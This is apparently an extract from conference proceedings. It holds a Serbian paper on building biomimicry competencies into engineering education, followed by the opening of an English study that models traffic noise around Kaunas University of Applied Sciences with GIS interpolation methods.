Prateći kurikulume mnogih inženjerskih studija, uočili smo da se ogroman broj i dalje realizuje po tradicionalnim procesima rešavanja problema radi kreiranja mehaničkih i elektronskih rešenja. Ovi nastavni kurikulumi trebalo bi da objedine i način kako da se imitira i emulira priroda kao komponenta prilikom učenja studenata rešavanju globalnih problema. Za ovo je potreban interdisciplinarni pristup koji bi povezao inženjere i naučnike na saradnju i obostrano učenje. Potrebno je obuhvatiti sistemsko razmišljanje, dizajn, materijale, komunikaciju, energiju, alate i ljudske sisteme. Razlika u odnosu na sadašnji kurikulum inženjerskog obrazovanja je u tome što bi se baza znanja i adekvatne sposobnosti i kompetencije vrtele oko toga kako u prirodi funkcionišu sistemi i ciklusi, i kako da se ova informacija iz prirode iskoristi u kreiranju analogija kojima se stvaraju nova rešenja.

Svega nekoliko ljudi u svetu identifikovalo je nove sposobnosti i kompetencije koje se odnose na biomimikriju. Janine Benyus obezbeđuje temelj za razumevanje kako nauka imitira prirodu za rešavanje problema [1]. Razmišljajući na ovakav način o energetici, klimatskim promenama, manjku vode, skladištenju otpada, zdravlju i kritičnim infrastrukturnim problemima, dolazimo do novih, održivih rešenja. Međutim, potrebno je rastumačiti koje su to biomimikrijske sposobnosti i kompetencije koje su najznačajnije i najpogodnija za proučavanje globalnih problema.

Šta je biomimikrija?

Biomimikrijski pristup (negde se pominje i termin biomimetika) ljudi su od davnina koristili kada su koncepte iz prirode koristili za rešavanje složenih problema (Leonardo da Vinci, Matthew Baker, Ser Joseph Paxston, Joseph Monier, Alexandre Gustav Eiffel, George de Mestral i drugi). Izvorno, naziv biomimetika skovao je Schmitt [2] i po njegovom mišljenju to je nauka o sistemima i supstancama u prirodi, koji se koriste za pronalaženje rešenja na ljudske i tehničke probleme. S druge strane, biomimetika (biomimikrija) je naziv za kombinaciju nauka (biologije, hemije, matematike i fizike) u cilju proučavanja struktura i funkcija bioloških sistema kao modela za konstruisanje raznih sistema i materijala u tehnologiji [3]. Po mišljenju Janine Benyus, biomimikrija je nova nauka koja proučava modele u prirodi a zatim ih imitira ili koristi njihov princip za rešavanje ljudskih problema.

Iz prirode se mogu izvući ključni koncepti i karakteristike koje upravljaju načinom kako sistemi i ciklusi

u prirodi funkcionišu i kako odolevaju vremenu. Ovi sistemi i ciklusi brinu sami o sebi. Priroda uklapa oblik prema funkciji. Priroda evoluira. Ona samostalno eksperimentiše kako bi unapredila žive organizme, procese i materijale u prirodi. U prirodi, otpad za jedan sistem je hrana za drugi sistem. Ekosistemi u prirodi brinu se o transformaciji hrane iz jednog oblika u drugi. Energetski izvor u prirodi je sučevo zračenja. Ista energija pokreće sve sisteme i cikluse u prirodi - zemlju, vodu, atmosferu. U potpunosti je efikasan sistem jer koristi samo onoliko energije koliko je potrebno. Priroda je samopovezujuća jer njeni sistemi i ciklusi sarađuju međusobno. U prirodi nema ni viška ni manjka. Veza između sistema i ciklusa zasniva se na različitosti. U prirodi je ustaljen koncept "od kolevke do kolevke", koncept u kojem nema otpada, već se umesto toga otpad eliminiše konceptom uređenja [1, 4, 5]. Suprotno ovoj filozofiji (od kolevke do kolevke), filozofija industrijskog doba bila je zasnovana na konceptu "od kolevke do groba". Umesto nula otpada, proizvodi iz industrijskog doba projektovani su tako da gotovo 90% materijala u tim proizvodima momentalno postaje otpad. Za razliku od sistema i ciklusa u prirodi koji proizvode više energije nego što potroše, proizvodnja u industriji koristila je više energije nego što može da proizvede. Ako se na ovakav način razmišlja, u velikoj meri se pojačavaju sposobnosti za rešavanje, upravljanje i kontrolu većih globalnih problema.

3. ANALIZA

Na osnovu dostupne literature koja se bavi biomimikrijskim pristupom inovacija sposobnosti, u Tabeli 1 sumarno su prikazane inovativne sposobnosti i kompetencije prema instituciji ili istraživaču.

Institucija/Istraživač	Sposobnosti i kompetencije			
	Poznavanje analogija radi razumevanja kako imitirati prirodu za rešavanje problema;			
	Razumevanje istorije prirode i života pre ljudi;			
	Detaljno i sistematsko poznavanje određenih grupa organizama;			
Janine Benyus [1]	Poznavanje kako uklo- piti prirodni dizajn i procese prema potrebama inženjera i tehnologa;			
	Potreba za zajedničkim radom biologa i inženjera;			
	Razumevanja kako "skalirati" dizajn, procese i različitost u prirodi.			



	Kako skalirati rešenja;	Studijski program	Primeri primene znanja	
Harun Yahya [6]	Razumevanje nauke o materijalima u prirodi; Razumevanje strukture		Razumevanje kako priroda uklapa oblik prema funkciji;	
	Razumevanje sistema i	Arhitektura	Razumevanje strukture lišća za projektovanje zgrada;	
	ciklusa u prirodi; Razumevanje tehnologije koja postoji u živim stvoren- jima.		Razumevanje termitnjaka za projektovanje ventilacionih sistema u zgradama.	
	Biološki procesi;		Razumevanje leta i oblika ptica za projektovanje vazduhoplova;	
Kevin Passino [7]	Rešavanje problema; Matematičko modelovanje; Računarske simulacije:		Razumevanje adheziva kod dagnji kojim se vezuju za stene;	
	Tehnološke operacije.	Proizvodnja	Razumevanje struktura biljaka kao sredstvo za bolji dizajn automobila;	
John Reap [8]	Biorazličitost; Veza između hidrofobičnih mikro i nanostrukturnih površina i adhezije čestica; Inženjerstvo ekosistema.		Razumevanje ljuski i egzos- keleta insekata radi povećanja površinske tvrdoće materijala.	
	Kako ugraditi biologiju u proces dizajniranja; Kako ugraditi biomimikriju	Energetike	Razumevanja procesa fotosinteze kao analogiju za projektovanje energetski efikasnih ejstema:	
	u dizajn; Kako raditi u interdisciplinarnim timovima;	Energetika	Razumevanja kako lišće bil- jaka funkcionišu kao solarni paneli.	
	Kako ugraditi biomimikriju u inženjerski proces;		Razumevanje koralnih	
Biomimicry 3.8 Institute [1,9]	Komunikacija između inženjera i poslovnih ljudi u smislu biomimikrije;	Zdravlje	grebena kao samogenerišućih sistema za uzgoj kompatibilnih organa za transplantacije:	
	Kako biolozi prikupljaju informacije i dele sa drugim disciplinama;		Razumevanje biorazličitosti kao odbranu od širenja bolesti.	
	Koje su osnove poslovnog razvoja i donošenja odluka; Primena metodologije		Razumevanje kako biljke	
	biomimikrije.		alarmiraju; Razumevanie kako se pri-	
	Kazumevanje principa života.	Obaveštajna i tehnologija zaštite	roda adaptira promenama u okruženju;	
Tabela 1. Sposobno	osti i kompetencije.		Razumevanje da promene i varijacije upravljaju svime u prirodi.	

Kada se uporede biološki ciklusi prirode sa tehničkim ciklusima u industriji, mogu se izvući principi koji se oslanjaju na biomimikrijsko rešavanje problema. Na ovaj način, stiče se razumevanje fenomena u prirodi i kako se stvaraju idealna okruženja. U tradicionalnom pristupu, inženjeri primenjuju naučne teorije ili tehnološka otkrića. Međutim, biomimikrijski pristup zahteva integrisano razmišljanje. Za rešavanje složenih globalnih problema ljudi moraju da usvoje i primene sisteme i cikluse iz prirode na tehničke sisteme (pa i na ljudske sisteme) u svetu. Da bi ovo moglo da se uradi, potrebne su izoštrene veštine posmatranja funkcija prirodnih sistema i kako ih primeniti u tehnički sistem. U Tabeli 2 prikazana su neka od znanja koji se odnose na inženjersko-tehnološke studijske programe.

Da bi se mogao stvoriti mentalni model za rešavanje složenih globalnih problema, potrebno je razumeti kako sistemi i ciklusi u prirodi funkcionišu i ceniti način na koji isti ti sistemi i ciklusi rade sa ljudskim sistemima. U Tabeli

Tabela 2. Primeri primene biomimikrijskih saznanja u

određena polja obrazovanja.

isti ti sistemi i ciklusi rade sa ljudskim sistemima. U Tabeli 3 prikazani su neki od ključnih izvora znanja, odnosno elementi iz prirodnih sistema i ciklusa koji mogu da se primene na današnje kurikulume inženjerskih studija.

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Sistemi i ciklusi u prirodi	Primenjivo znanje			
Dia gao hamiishi sikhusi	Razmena biosfera-okeani- atmosfera;			
Bio-geo-nemijski cikiusi	Razmena biosfera-atmosfera iznad kopna.			
	Kako biljke apsorbuju ugljen-dioksid iz atmosfere;			
Ciklusi ugljenika	Kako životinje koriste ugljenik za izgradnju sopstvenog tkiva;			
	Kako se atomi ugljenika ugrađuju u proces fotosinteze.			
	Hidrologija;			
Ekološki ciklusi	Nauka o vegetaciji;			
	Bio-različitost.			
	Fotosinteza;			
	Solarno zračenje;			
Energetski ciklusi	Transformacija;			
	Distribucija;			
	Transport.			
	Vlažnost zemljišta;			
Hidro ciklusi	Karakteristike terena;			
	Bilans vode.			
	Struktura biljaka;			
	Adaptacija;			
Biljni svodovi	Eliminacija otpada;			
	Adhezija čestica			

Tabela 3. Primenjiva znanja iz prirodnih sistema i ciklusa.

Sada se postavlja pitanje: kako struktuirati ova znanja u obrazovne programe? U inženjersko-obrazovnim programima, znanje je uobičajeno struktuirano unutar domena, nauke ili tehnologije. Mali je broj programa koji su bazirani na integrisanom modelu. Shodno tome, nove kompetencije i sposobnosti se formiraju na tradicionalan način – kao mehanička, fizička ili elektronska rešenja. Bilo je mnogo predloga kako da se identifikuje analogija inovacija. Po mišljenju nekih, projektni tim ograničen je znanjem koje poseduju njegovi članovi. Drugi predlažu biološki okvir jer može da se primeni na više različitih platformi [11].

Sa druge strane, J. Barnes, S. Barnes i D. Dyrenfurth identifikuju više faktora koji ograničavaju razmišljanje o prirodi, a time ograničavaju održiva rešenja bazirana na biomimikriji [12]. Prema njihovom mišljenju, prvi faktor – oskudica, odnosi se na princip po kojem se sve što nam je potrebno za preživljavanje nalazi direktno ili indirektno u našem prirodnom okruženju. Direktno iz ovog sledi da je neophodno sastavljanje interdisciplinarnih timova naučnika i inženjera kako bi se uspešno imitirala i emulirala priroda u kontekstu rešavanja globalnih problema. Nedostatak integracije, pre svega, odnosi se na neuspeh interesnih grupa i eksperata da stvore analogije i modele sistema i ciklusa prirode koji bi mogli da se primene na tehničke sisteme. Pored ovoga, limitirajući faktor je i nedostatak volje za promenama. U tom kontekstu, neki naučnici imaju otpor prema radu inženjera, a takođe i neki inženjeri ne žele da rade sa naučnicima. Ovo može da se tumači kao opiranje zajednice da prihvati održivo rešenje. Otpad je svakako jedan od ograničavajućih faktora jer postoji nemogućnost da se procesi podignu na zadovoljavajući nivo otpada, odnosno da se dostigne nula-otpad u kontekstu prirodnog, održivog sistema. Konačno, ograničavajući faktor je i rizik, odnosno nivo rizika koji se odnosi na prepreku kojom prirodna, održiva rešenja nisu dovoljno bezbedna da bi se sprovela u delo, odnosno zajednica ne može da prihvati takvo rešenje zbog apriori usađenih ubeđenja u vezi sa nivoom rizika predloženog rešenja.

Pored ovakvih ograničavajućih faktora, takođe mora postojati sposobnost da se rešenja adekvatno skaliraju kada se unose u jednačinu rešenja. U vezi sa ovim skaliranjem rešenja pri rešavanju globalnih problema, potrebno je voditi računa o razmerama potrebe, razmerama potrebnih investicija za stvaranje alternativa, i srazmerno potrebnom vremenu za proizvodnju alternativa. S obzirom na to da će do 2050. godine broj ljudi na Zemlji verovatno premašiti 9,3 milirade stanovnika, mogućnosti da se složeni globalni problemi skaliraju na lokalne ili regionalne gotovo je nemoguće. Upravo zbog toga potrebno je da se i druga razmatranja ugrade u jednačinu rešavanja složenih globalnih problema, koja bi imala trenutni uticaj i dugoročne efekte na nova rešenja. Ovi uticaji i efekti mogu biti različite prirode lične, društvene, kulturalne, političke, ili da se odnose na okruženje. Bez obzira na značajna znanja i posvećenost rešavanju složenih globalnih problema, transdisciplinarni tim eksperata i investitora ne može znati, a ni rešavati, potencijalne uticaje i posledice. Dešava se da ponekad nauka i tehnologija daju podršku za rešenje, ali se uticaji i posledice mogu sagledati tek nekoliko decenija kasnije.

INOVACIONE SPOSOBNOSTI I KOMPETENCIJE BUDUĆIH INŽENJERA I TEHNOLOGA

U poslednjih nekoliko decenija, mnogo istraživača, instituta i univerziteta posvećuje više pažnje na razvijanje novih biomimikrijskih sposobnosti i kompetencija. S obzirom na istraživanja koja su sproveli istraživači, institucije i univerziteti, može se objediniti obimna



lista predloženih sposobnosti i kompetencija (u Tabeli 4 prikazane su neke od njih).

Sposobnosti kompetencije bazirane na biomimikriji

Sposobnost da se imitira i emulira priroda; Sposobnost za kritičko razmišljanje; Sposobnost da se koriste koncepti biomimikrije za rešavanje problema; Razumevanje ciklusa i sistema u prirodi; Razumevanje koncepta prilagodljivosti i kako se primenjuje u prirodi;

Razumevanja kako priroda samu sebe skalira;

Razumevanje faktora održivosti;

Razumevanje principa biomimikrije;

Razumevanje mentalnog modela za prevođenje prirode u cilju pronalaženja rešenja za globalne probleme;

Razumevanje složenih sistema;

Razumevanje sistemskog razmišljanja;

Razumevanje struktura u prirodi;

Razumevanje nauke o materijalima u prirodi.

Tabela 4. Inovacione sposobnosti i kompetencije.

Danas se svet suočava sa jednom od najvećih ekonomskih kriza u istoriji čovečanstva. Posebno razvijene zemlje, jer se rat preneo i na ekonomiju zemalja. Mogućnost da se razvije potrebna inovativnost koja bi doprinela rešavanju globalnih problema posebno ometaju politika, lobisti i sistemi visokog obrazovanja koji ne žele da uvedu promene i odreknu se tradicije. Potrebno je što pre usvojiti nove paradigme istraživanja i inovacija koje bi omogućile proučavanje glavnih problema, kao što su energetika ili kritična infrastruktura. Ovakva, nova paradigma, mogla bi da omogući stvaranje novih proizvoda, usluga, novih radnih mesta, smanji nezaposlenost itd. Na primer, tradicionalni pristup koristi sistemsko-teorijski pristup u proučavanju globalnih problema koji se odnose na dinamiku nauke, tehnologije i inovacije, kao i njihovoj vezi sa ekonomskim rastom. Međutim, ovakav pristup je po svojoj prirodi ograničen za rešavanje globalnih problema. Obrazovni studijski programi inženjera moraju se promeniti kako bi pripremili studente da budu efikasniji inženjeri u rešavanju kritičnih globalnih problema. Novi kurikulumi bi trebalo da pređu na globalniji obrazovni model, posebno takav da integriše sposobnosti inovacija i kompetencija kojim se razvija novi način razmišljanja u vezi sa globalnim problemima. Jedan od načina da se ovo realizuje jeste da se težište prenese na komponente programa čiji je fokus na kritičkom razmišljanju i rešavanju složenih problema. Paralelno sa ovim treba razvijati mentalne modele na osnovu analogija, metafora i drugih tehnika analize. Ovi mentalni modeli bili bi od

ogromne pomoći da studenti bolje sagledaju nova okruženja primenjujući znanja iz sličnog (poznatog) okruženja. Integracijom biomimikrijskog pristupa u obrazovanje inženjera i tehnologa u velikoj meri može da doprinese razvoju neophodnog kritičkog razmišljanja i veština rešavanja problema koje su potrebne budućem inženjeru ili tehnologu.

Biomimikrijski pristup u praksi

Postoji mnoštvo primera u kojima je korišćen biomimikrijski pristup kod projektovanja novih proizvoda. Jedan od njih je projektovanje japanskog brzog voza (Shikansen). Problem je bila buka koju je stvarao voz, posebno pri izlasku iz tunela. Inspiracija rešenja viđena je kod ptice vodomar (Slika 1).



Slika 1. Japanski brzi voz Shikansen po uzoru na kljun vodomara.

Drugi primer je stvaranje čistih okruženja ili površina, površina bez bakterija. Kao prirodni model poslužila je ajkula sa Galapagosa. Naime, ove ajkule na svojoj koži nemaju nikakve parazite ni bakterije, sve to zahvaljujući strukturi teksture kože ove ajkule. Komapnija Sharklet Technologies Inc. predstavila je prvu tehnologiju na svetu koja inhibira rast bakterija kroz samu formu. Šarklet površina sastoji se od miliona mikroskopskih obrazaca raspoređenih po posebnom dijamant uređenju. Sama struktura (Slika 2) sprečava da se bakterije vezuju, kolonizuju i formiraju biofilmove. Šarklet ne sadrži toksične aditive ili hemikalije, i ne koristi antibiotike ili antimikrobna sredstva.

Kompanija Grimshaw Architecture je u fazi istraživanja tehnologije presvlačenja građevina materijalom koji skuplja vodu iz magle, po uzoru na numibijsku bubu Stenocara. Inače, istraživači sa MIT prvi su emulirali ovu sposobnost tako što su napravili površinu takve teksture koja kombinuje naizmenično raspoređene hidrofobične i hidrofilične materijale (Slika 3). Posle njih, komanija NBD Nano, sastavljena od dva biologa, organskog hemičara i mašinskog inženjera uspela je da napravi koncept samopunjujuće flaše. Spoljašnjost je superhidrofobična, a unutrašnjost superhidrofilična. Pretpostavka firme je da bi ovakva flaša moga da prikupi od pola litre do tri litre vode u zavisnosti od okruženja.



Slika 2. Obrazac i struktura kože ajkula (levo) i materijala Sharklet (desno).



Slika 3. Prikupljanje vode iz atmosfere.

Priroda koristi ugljen-dioksid kao komponentu za gradnju. Uzor u prirodi su biljke, korali, školjke i slični organizmi. Firma Calera (USA) gradi cement i beton uz pomoć morske vode sa znatno manjom emisijom CO2 (Slika 4).

Sledeći primer je kreiranje solarnih ćelija po uzoru na način kojim lišće prikuplja energiju (Paul Hawken, firma OneSun). Firma OneSun radi na osvajanju tehnologija proizvodnje nove generaciju fotoosetljivih i veoma jeftinih solarnih ćelija. Ova fotonaponska tehnologija je novitet u dizajniranju ćelija sa potencijalom da se priozvede robustan, izdržljiv izvor energije. Ona je samomontažna i može da se postavi na bilo koji supstrat (Slika 5).

Akvaporini su integralni membranski proteini iz veće proteinske porodice glavnih unutrašnjih proteina, koji formiraju kanale pora u ćelijskim membranama. Njihova uloga je da regulišu protok vode kroz ćelijsku membranu, pri čemu se izdvajaju joni i drugi molekuli. Firma Aquaporins započela je istraživanja radi proizvodnje membrana za desalinaciju.



Inputs and Outputs of the Calera Process



Slika 4. Calera proces proizvodnje cementa i betona.



Slika 5. Nova generacija solarnih ćelija po uzoru na list.



Slika 6. Akvapore u ćelijskoj membrani [http://www.ks.uiuc. edu/Research/aquaporins/Science-winning-image.jpg].

Stabla drveća i kosti konstantno se sami preoblikuju duž linija opterećenja. Ovaj algoritam unet je u softverski program koji se danas koristi za proračun lakih mostova, lakih građevinskih greda. Štaviše, Mercedes-Benz koristio je isti princip da izradu skeleta kod svojeg konceptualnog automobila – bioničkog auta. Algoritam je omogućio laku konstrukciju sa minimumom materijala, kao što to čini organizam, za maksimalnu nosivost.

Slika 7. Kako priroda daje čvrstoću sa minimumom materijala.

Na Slici 8 prikazana je buba, krilo insekta i kesica čipsa. Buba koristi jedan materijal, hitin, i nalazi mnogo načina da u isti ugradi mnoštvo funkcija. Vodootporan je, snažan, otporan, propusan, stvara boju kroz svoju strukturu. Kesica čipsa, da bi ispunila ove funkcije, koristi sedam slojeva. Jedna od veoma važnih inovacija bila bi da se smanji količina materijala, vrsta materijala koja se koristi, i da se u takav materijal projektuje adekvatna funkcija. Priroda za sve svoje materijale koristi svega pet polimera, dok čovek koristi 350 da bi uradio iste stvari (Slika 9).

Priroda je u nanorazmeri. Međutim, nanotehnologija opasna je po pitanju slobodnih nanočestica. Priroda već dugo ima odgovor na ovo pitanje. Veoma dugo priroda ugrađuje nanočestice u materijal. Na primer, bakterija koja redukuje sumpor, kao deo svoje sinteze emituje (kao nusproizvod) nanočestice u vodi (Slika 10). Međutim, odmah posle toga emituje protein koji zapravo skuplja i spaja te iste nanočestice tako da ne budu deo rastvora.

Inženjeri koji se bave tretiranjem otpadnih voda naučili su mnogo iz prirode. Naime, do pre dvadesetak godina sistemi za prečišćavanje koristili su bakterije za pročišćavanje otpadnih voda. Ovo nije rešenje inspirisano prirodom, već bioasistirana tehnologija. Jedan od izazova jeste stvaranje i nagomilavanje minerala kroz cevovode. Zapravo, ova zagušenja nastaju od kalcijum-karbonata – kamenca. Isti materijal od kojeg je napravljena školjka, na primer. Školjka, da bi zaustavila svoj rast, luči protein koji



zaustavlja proces kristalizacije. Zahvaljujući ovom biomi-

mikrijskom pristupu, danas postoji proizvod koji se zove

TPA (termalni poliaspartat). Kompanija NanoChem Solu-

tions Inc. (bivša Donlar Corp.) trenutno razvija i prodaje

biorazgradivi polimer TPA kao deterdžent, dispersant,

za tretiranje industrijskih otpadnih voda itd. (Slika 11).

Slika 8. Višefunkcionalni materijal.



Slika 9. Priroda koristi pet polimera (gornji red), a čovek 350 (donji red).



Slika 10. Prirodan način obezbeđenja nanočestica.

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Slika 11. Proizvodi na bazi TPA.

5. ZAKLJUČAK

Savremeni i inovativni inženjerski i tehnološki studijski programi ključ su kvalitetnih budućih inženjera. Potrebno je da budući inženjeri budu pripremljeni da se suoče sa problemima sa različitim holističkim pristupom koji uključuje biomimikriju. Razumevanje prirode, njenih sistema i ciklusa, kako se nastaje fenomen u prirodi i kako ljudi vide okruženje, obezbediće analogije i modele za stvaranje inovativnih rešenja, bilo da su u pitanju složeni globalni problem, ili da se uspori napredovanje tih problema.

Biomimikrijski pristup obezbeđuje dodatni alat pomoću kojeg se tradicionalne disciplinarne granice inženjerskih i tehnoloških studijskih programa pomeraju. Na ovaj način, rešenja više ne leže unutar domena, nauke ili tehnologije. Umesto toga, pronalazak rešenja zahteva integrisani pristup preko više domena, nauka ili tehnologija. Primenjujući znanja o tome kako organski sistemi rade zajedno sa ljudskim sistemima, veze između deduktivnog razmišljanja (rešavanje problema) i reduktivnog razmišljanja (naučno istraživanje) omogući će da unapređeni studijski programi obezbede sposobnost da se prirodna, održiva rešenja, projektuju radi poboljšanja kvaliteta života svih zajednica.

Rezultat ovakve integracije trebalo bi da obezbedi problemski orijentisani pristup u kurikulumu studijskog programa tako da mogu da se razviju ključne inovativne sposobnosti i kompetencije neophodne za rešavanje globalnih problema. Posebno, trebalo bi da se omogući nov način da se traže odgovori na pitanja:

- Koja su potrebna znanja i uslovi za rešavanje složenih globalnih problema?
- Koji su izvori znanja o prirodi koji mogu da se primene?

• Kako se to znanje može raščlaniti i ograničiti?

Primena ovakvog kritičkog razmišljanja u velikoj meri doprinosi rešavanju i upravljanju složenim globalnim problemima sa kojim se čovečanstvo suočava. Nova, sveža i održiva rešenja, mogu da daju odgovore na snabdevanje energijom, klimatske promene, izumiranje vrsta, nedostatak hrane i vode, skladištenje i smanjenje otpada.

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DEVELOPING NOVEL COMPETENCIES FOR ENGINEERING AND TECHNOLOGY STUDENTS

Abstract:

Due to the emerging advancements in science and technology, and with the enormous expansion of knowledge the problems of today must be addressed in a different way. Solution is not bound within a domain, science or technology. To solve global problem of today an integrated approach across many domains, sciences and technologies is needed. Human knowledge and understanding is limited by experience, education and research. Unfortunately, advancements in science and technology require more than this. Reviewing existing literature and innovations in the world, the authors of this paper wish express a study that will show a need for new capabilities and competencies for future engineers, thinking in a different way. It is the biomimicry approach that enables confronting the global problems in order to create a sustainable world. This is why engineering and technology study programs have to translate to a more global model; a model that would integrate the biomimicry approach as a means to prepare future engineers in different way, a more innovative way to tackle the global problems of today.

Keywords:

biomimicry, education, compentence.

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SIMULATION AND ANALYSIS OF CAR NOISE POLLUTION IN THE TERRITORY OF KAUNAS UNIVERSITY OF APPLIED SCIENCES

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Abstract:

As the economy is growing, more and more families can afford to buy a car. The increasing number of cars means the increasing noise levels. After lots of scientific research, it was found that motor noise is harmful to human health. According to the existing laws, noise levels in residential areas during the day cannot exceed 65 dB(A). Kaunas University Of Applied Science resides near one of the busiest streets in the city: Pramone avenue. There was an experiment carried out in April 2016 where the number of passing vehicles was counted. With ArcGIS software engine MapNoise using statistical functions and IDW, Spline and Kriging interpolation methods, transport noise analysis was carried out. The results showed that the average noise level varies between 55-65 dB(A). The noise is significantly reduced by the trees and bushes growing near the School; without them the noise level would increase by about 5 dB(A).

Keywords:

vehicle noise, modeling, GIS, MapNoise, geostatistical, IDW.

1. INTRODUCTION

In the last decades there has been a constant increase in the number of cars in the World and Lithuania. 1000 citizens in Lithuania had 185 cars in 1995, they had 340 cars in 2005 and in 2012 they had 541[17] cars. With the growth in the number of vehicles the influence of noise pollution to people's lives, surrounding and health increases as well. Noise pollution made by vehicles is currently said to be one of the most effective factors to humans' well-being [2; 4; 8; 16]. World health organization's (WHO) data shows [16] that over 200 million EU citizens (over half of the whole population) suffer from transport noise pollution. The allowed level of noise on working days (from 6AM to 6 PM) should not be higher than 65 dB [5]. Vehicle noise pollution effect on human's health is always mentioned in WHO and Europe environment agency's reports.

Over the past ten years various detailed analyses have been made about vehicle noise pollution in EU [13;16] and Lithuania [6]. Medical and scientific community has published many scientific articles and reports regarding vehicle noise pollution influence to human's health [1; 5; 14; 16]. Vehicle noise pollution level is based on few elements such as speed limit, amount and mobilization of cars, vehicle age, weight, driving manners – crossroads and traffic lights [4; 10].

This problem is common in Lithuania, too. Starting from September 1st, 2003 in city and town areas the speed limit was reduced from 60km/h to 50 km/h. It is known that a reduction like this cuts noise level respectively to 2,1 dB(A) [4; 10]. There are various scientific studies made in Lithuania analyzing vehicle noise pollution [2; 8; 10]. In the science work report made in 2008 by VGTU [12] alongside other cities, Kaunas city traffic and noise level research in the main streets was included. The report showed that almost in every measurable area noise level exceeded the allowed 65dB for residential properties. The University of Applied Sciences Kauno kolegija camp is near one of the busiest streets of the city– Pramonės ave., where the traffic in the rush hour is especially intensive.

The map of Kaunas city noise level that was established in 2007 (Fig. 1.) also shows that the University of Applied Sciences Kauno kolegija camp is located in the zone that exceeds the allowed level of noise.



Fig. 1. The noise map of Kaunas city

After almost 10 years since the map was presented, the situation in the city has not improved, no new roads have emerged so that the traffic could be removed from residential properties or "smart traffic lights" which could help solve this issue. Quite the contrary – the number of vehicles has only grown and traffic time has only got longer possibly rising the level of vehicle noise pollution. Back in 1995 a 1000 Kaunas residents had 235 cars, in 2004 – 307, in 2007 – 467 and in 2012 – 547 cars [16; 17].

The main goal of the research is to define vehicle noise pollution level in the University of Applied Sciences Kauno kolegija territory and its influence to students and employees. At the same time, the influence to noise level made by obstacles that naturally reduce noise level such as trees and other plants, was assessed.

2. MATERIAL AND METHODS

The research object – camp territory of the University of Applied Sciences Kauno kolegija, where the simulation of vehicle noise pollution was made.

Vehicle noise pollution measuring was made by using the annual average daily traffic (AADT) data (PI Roads and transport research institute). The annual average daily traffic in 2015 in Pramonės ave. included 23499 passengers' cars and 1705 heavy vehicles per day. Overall, AADT – 25204 vehicles per day. As additional source, monitoring results from April 2016 were used, when the measurements of traffic flow in Pramonės ave. were taken from two different places towards the University of Applied Sciences Kauno kolegija (Fig. 2).



Fig. 2. Survey places around the University of Applied Sciences Kauno kolegija in April 2016.

While formatting the vehicle noise level emission map in ArcGIS software the following GIS data was entered: roads/streets, tall buildings, information about traffic flows with a percentage of heavy vehicles in the streets. At some points the noise level measurements were made during the day, the evening and the night. Day, evening and night noise level L_{dvn} in decibels dB(A) was calculated using the following formula:

$$L_{dvn} = 10 \lg \frac{1}{24} \left(12 \times 10^{\frac{L_{dienos}}{10}} + 4 \times 10^{\frac{L_{vakaro} + 5}{10}} + 8 \times 10^{\frac{L_{naktes} + 10}{10}} \right) (1)$$

Here L_{dienos} – average long term A weighted noise level, set for one-year day time period, as defined [LST, 2004]; L_{vakaro} average long term A weighted noise level, set for one-year day evening period, $L_{nakties}$ average long term A weighted noise level, set for one-year night time period [4].

If we wish to establish vehicle noise emission expressed by L_{dvn} using a software MapNoise, the amount of vehicles in daily traffic is entered – $Q_{dienos.}$ Day and night vehicle noise emission is calculated [15], reduced traffic flow for day time (06-18 h.) – $Q_{dienosR}$ and night time (22-06 h.) – $Q_{naktiesR}$.

Reduced flow calculation formula:

$$Q_{dienos} = Q_{dienos_ah} \cdot T_d$$
 and $Q_{nakties} = Q_{naktiess_ah} \cdot T_n$ (2)

here Q_{dienos} – calculated traffic flow for a twelve hour day time; $Q_{nakties}$ – calculated traffic flow for an eight hour night time; Q_{dienos_ah} – calculated average hourly flow per day; $Q_{nakties_ah}$ – calculated average hourly flow per night; Td – day time duration in hours [12]; T_n – night time duration in hours [6].

The reduced traffic vehicle flow per day:

$$Q_{dienosR} = 24 / 12 \cdot Q_{dienos} \tag{3}$$

The reduced traffic vehicle flow per night:

$$Q_{naktiesR} = 24 / 8 \cdot Q_{nakties} \tag{4}$$

After traffic noise emission simulation, the results are verified according to noise subsistence measurement results. Such calculations are made with MapNoise software: surface calculations without relief, initial data check, configuration parameter set and the primary noise level are calculated by using annual average daily traffic coefficient (AADT). Vehicle noise emission will be evaluated with different interpolation methods: IDW, Spline and Kriging.

3. VEHICLE NOISE EMISSION MODELING AND ANALYSIS

While making the calculation all the effects of the roads and obstacles are considered at every point, in

spite of their origin or material (landscape elements, various tall buildings, the existing or anticipated noise reduction barrier). Shielding and reflection effects are considered as well.

Since we are using ArcGIS software MapNoise package calculated results, it is possible to define the number of buildings that are in the noise impact zone, by grouping them according to the noise impact level.

Digital maps data (graphic data + tables with data in them) must be prepared in a particular format. The following data is evaluated:

- Buildings
- Plants that reduce noise
- Roads axial lines
- Radius selected for calculations

The determined point pollution is calculated by formula:

$$H(s_j) = \sum_N \lambda_i H(S_i)$$
(5)

here, $H(s_i)$ – the set s_i . pollution value; N – calculates the amount of points used; λ_i – every measured point weight in decibels; $H(s_i)$ – the known pollution value in point s_i .

The point pollution dB(A) is calculated like this:

$$\lambda_{i} = \frac{d_{ij}^{-p}}{\sum_{i=1}^{N} d_{ij}^{-p}}, \sum_{i=1}^{N} \lambda_{i}$$
(6)

Increasing the distance, pollution is reduced because of category *P* parameter effect; d_{ij} – the distance between determined point s_j and measured s_i points. By increasing the distance, the measured point effect for the determined point will be reduced exponentially (Fig. 3. a). The total pollution of calculation sites is equal to 1.

By changing the *P* parameter, it is possible to adjust the influence to relative selection sites. The increased parameter means that output meanings are more local, not calculated as all surrounding selection sites average value. By decreasing the parameter, the arithmetical value for average is being set, until all selection sites become identical, since further selection sites have higher effect.

4. RESULTS AND DISCUSSION

Interpolated pollution dB(A) allocation in the area evaluating geostatistical methods: IDW, Spline, Kriging. After evaluating pollution points average square bias





Fig. 3. The corresponding graph of semivariograms of interpolation methods: a) IDW, b) Spline, c) Kriging

(ASB), it's concluded that after interpolating with Kriging method the smallest ASB is -0,38.

Meanwhile the least accurate is the Spline method, according to ASB – 1,52, and the standard square bias – 1,87 (table 1)

Interpolation methods	Samples, dBA	Mean	Root-Mean- Square Error[RMSE]	Mean Standardized	Root-Mean- Square Standardized	Average Standard Error
Invert Distance Weight [IDW]	69276	-0,02	0,58	-0,03	1,64	0,47
Spline	69276	-0,03	1,52	-0,01	1,0	1,87
Kriging	69276	-0,01	0,38	-0,01	1,45	0,40

Table 1. Noise dispersion [dBA] distribution of interpolation methods

The received modeling results of noise level in the University of Applied Sciences Kauno kolegija camp by building facade from Pramonės ave. side, show that the average daily level varies from 55 to 65 dB (A) (Fig. 4).



